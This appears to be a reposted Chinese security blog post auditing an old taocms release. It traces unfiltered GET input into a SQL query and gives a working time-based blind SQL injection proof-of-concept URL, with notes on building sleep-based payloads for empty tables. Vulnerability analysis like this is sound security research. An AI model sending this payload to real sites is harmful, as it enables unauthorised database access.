taocms旧版本注入

https://xz.aliyun.com/t/1809

下载cms来看看

从目录来看应该是普通的cms,没有用什么框架之类的

这里直接使用mysql安装吧

真是小巧

从入口文件看起

<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
    $path=substr($path,1);
}
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
    Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
    Index::$ctrl($path);
}
?>  

 入口引入两个文件

config.php普通配置文件

common.php 加载一些核心的文件及30行开始对gpc使用Base类的magic2word静态方法进行调用

ctrl+b跟进去

	static function magic2word($text){
		if (is_array($text)) {
			foreach($text as $k=>$v){
			$text[$k]=self::magic2word($v);
			}
		}else{
			$text=stripslashes($text);
		}
		return $text;
	}

可以了解到 判断是否为数组,然后对数组的值进行遍历,当数组的值不为数组的时候,调用stripslashes函数对值进行过滤

那么就清楚了,这里有两个问题

第一个: stripslashes函数

那么这个函数对注入和xss都没什么用

第二个:使用magic2word静态方法,过滤的只是值,并没有对键过滤,so

找一处能够利用漏洞的地方

可以看到首页就调用了createhtml方法,并且传了get的参数,跟进去

使用了get_one,这个很清楚就是sql操作

那么我们可控的地方是$nowvar

靠 ,写文章好麻烦  直接上poc

http://127.0.0.1/index.php?action=x&createprocess=1&cat=1and%20(IF(1=1,(select%20*%20from%20(select%20sleep(5))a),1))%23&signle=1

为什么这么构造语句呢,因为我把表的数据删除了,也就是空表,空表是没有数据的,所以用常规的注入是判断不了的

比如

1  and 1=1  # 1=1是成立的,但是表中没有数据,无法判断,如果有的话,返回的是表中id为1的数据

1 or 1=1 # or 1 =1  恒成立,会返回所有数据,但是没有数据,所以无法正常返回

所以这里需要构造空表查询

select (select * from (select sleep(5))a)  

猜你喜欢

转载自www.cnblogs.com/xm17/p/12346272.html
今日推荐